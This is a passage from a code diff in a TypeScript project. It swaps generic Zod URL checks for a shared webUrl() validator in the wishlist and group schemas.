.max(200, 'Title must be at most 200 characters'),
|
||||
description: optionalText(1000),
|
||||
image_url: z.string().url().optional().nullable(),
|
||||
image_url: webUrl().optional().nullable(),
|
||||
|
||||
// Internal reference (mutually exclusive)
|
||||
product_id: z.string().uuid().optional().nullable(),
|
||||
@@ -45,7 +45,7 @@ export const wishlistItemSchema = z.object({
|
||||
asset_id: z.string().uuid().optional().nullable(),
|
||||
|
||||
// External reference
|
||||
external_url: z.string().url().optional().nullable(),
|
||||
external_url: webUrl().optional().nullable(),
|
||||
external_source: z.string().max(100).optional().nullable(),
|
||||
|
||||
// Funding
|
||||
@@ -78,7 +78,7 @@ export const wishlistFulfillmentProofSchema = z.object({
|
||||
wishlist_item_id: z.string().uuid(),
|
||||
proof_type: z.enum(WISHLIST_PROOF_TYPES),
|
||||
description: z.string().min(10, 'Description must be at least 10 characters').max(1000),
|
||||
image_url: z.string().url().optional().nullable(),
|
||||
image_url: webUrl().optional().nullable(),
|
||||
transaction_id: z.string().max(100).optional().nullable(),
|
||||
});
|
||||
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
*/
|
||||
|
||||
import { z } from 'zod';
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
import { GROUP_LABELS, type GroupLabel } from '@/config/group-labels';
|
||||
import { GOVERNANCE_PRESETS, type GovernancePreset } from '@/config/governance-presets';
|
||||
|
||||
@@ -35,8 +36,8 @@ export const createGroupSchema = z.object({
|
||||
description: z.string().max(2000).optional(),
|
||||
label: z.enum(validLabelsTuple),
|
||||
tags: z.array(z.string()).optional(),
|
||||
avatar_url: z.string().url().optional().nullable().or(z.literal('')),
|
||||
banner_url: z.string().url().optional().nullable().or(z.literal('')),
|
||||
avatar_url: webUrl().optional().nullable().or(z.literal('')),
|
||||
banner_url: webUrl().optional().nullable().or(z.literal('')),
|
||||
is_public: z.boolean().optional(),
|
||||
visibility: z.enum(validVisibilities).optional(),
|
||||
bitcoin_address: z.string().optional().nullable(),
|
||||
@@ -53,8 +54,8 @@ export const updateGroupSchema = z.object({
|
||||
description: z.string().max(2000).optional().nullable(),
|
||||
label: z.enum(validLabelsTuple).optional(),
|
||||
tags: z.array(z.string()).optional(),
|
||||
avatar_url: z.string().url().optional().nullable().or(z.literal('')),
|
||||
banner_url: z.string().url().optional().nullable().or(z.literal('')),
|
||||
avatar_url: webUrl().optional().nullable().or(z.literal('')),
|
||||
banner_url: webUrl().optional().nullable().or(z.literal('')),
|
||||
is_public: z.boolean().optional(),
|
||||
visibility: z.enum(validVisibilities).optional(),
|
||||
bitcoin_address: z.string().optional().nullable(),
|
||||
|
||||
Reference in new issue
Block a user